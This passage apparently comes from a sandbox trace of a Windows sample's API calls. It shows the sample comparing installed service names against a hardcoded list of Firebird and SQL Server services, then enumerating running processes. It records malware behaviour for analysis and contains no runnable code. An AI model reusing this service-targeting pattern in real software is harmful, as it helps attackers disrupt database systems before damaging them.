lpString2="BrokerInfrastructure") returned 1 [0173.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.843] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0173.843] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0173.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0173.843] lstrlenW (lpString="CDPSvc") returned 6 [0173.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0173.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0173.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0173.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0173.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0173.843] lstrlenW (lpString="ClickToRunSvc") returned 13 [0173.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.843] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0173.843] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0173.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0173.843] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0173.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0173.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0173.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0173.843] lstrlenW (lpString="CryptSvc") returned 8 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.844] lstrlenW (lpString="DcomLaunch") returned 10 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.844] lstrlenW (lpString="DeviceAssociationService") returned 24 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0173.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0173.844] lstrlenW (lpString="Dhcp") returned 4 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.844] lstrlenW (lpString="Dnscache") returned 8 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.844] lstrlenW (lpString="DPS") returned 3 [0173.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.845] lstrlenW (lpString="DsmSvc") returned 6 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0173.845] lstrlenW (lpString="DusmSvc") returned 7 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0173.845] lstrlenW (lpString="EventLog") returned 8 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0173.845] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0173.845] lstrlenW (lpString="EventSystem") returned 11 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.845] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.845] lstrlenW (lpString="FontCache") returned 9 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0173.845] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0173.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0173.845] lstrlenW (lpString="gpsvc") returned 5 [0173.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.845] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.846] lstrlenW (lpString="iphlpsvc") returned 8 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.846] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.846] lstrlenW (lpString="KeyIso") returned 6 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0173.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0173.846] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0173.846] lstrlenW (lpString="LanmanServer") returned 12 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.846] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.846] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.846] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.846] lstrlenW (lpString="lfsvc") returned 5 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0173.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0173.846] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0173.846] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0173.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0173.846] lstrlenW (lpString="lmhosts") returned 7 [0173.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.847] lstrlenW (lpString="LSM") returned 3 [0173.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.847] lstrlenW (lpString="MpsSvc") returned 6 [0173.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.847] lstrlenW (lpString="NcbService") returned 10 [0173.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.847] lstrlenW (lpString="netprofm") returned 8 [0173.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.847] lstrlenW (lpString="NgcSvc") returned 6 [0173.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0173.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0173.847] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0173.847] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0173.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0173.848] lstrlenW (lpString="NlaSvc") returned 6 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.848] lstrlenW (lpString="nsi") returned 3 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.848] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.848] lstrlenW (lpString="PcaSvc") returned 6 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.848] lstrlenW (lpString="PlugPlay") returned 8 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.848] lstrlenW (lpString="Power") returned 5 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.848] lstrlenW (lpString="ProfSvc") returned 7 [0173.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.849] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.849] lstrlenW (lpString="RpcSs") returned 5 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.849] lstrlenW (lpString="SamSs") returned 5 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.849] lstrlenW (lpString="Schedule") returned 8 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.849] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.849] lstrlenW (lpString="SENS") returned 4 [0173.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.850] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.850] lstrlenW (lpString="Spooler") returned 7 [0173.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.850] lstrlenW (lpString="StateRepository") returned 15 [0173.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0173.850] lstrlenW (lpString="SysMain") returned 7 [0173.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.850] lstrlenW (lpString="SystemEventsBroker") returned 18 [0173.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0173.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0173.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0173.851] lstrlenW (lpString="Themes") returned 6 [0173.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.851] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0173.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.851] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0173.851] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0173.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476b70 | out: hHeap=0x420000) returned 1 [0173.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.857] Process32FirstW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.857] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.858] lstrlenW (lpString="System") returned 6 [0173.858] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.858] lstrlenW (lpString="smss.exe") returned 8 [0173.858] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.859] lstrlenW (lpString="csrss.exe") returned 9 [0173.859] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.138] lstrlenW (lpString="wininit.exe") returned 11 [0174.138] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.139] lstrlenW (lpString="csrss.exe") returned 9 [0174.139] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.139] lstrlenW (lpString="winlogon.exe") returned 12 [0174.139] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.140] lstrlenW (lpString="services.exe") returned 12 [0174.140] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.140] lstrlenW (lpString="lsass.exe") returned 9 [0174.140] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.141] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.141] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.141] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.141] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.141] lstrlenW (lpString="svchost.exe") returned 11 [0174.141] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 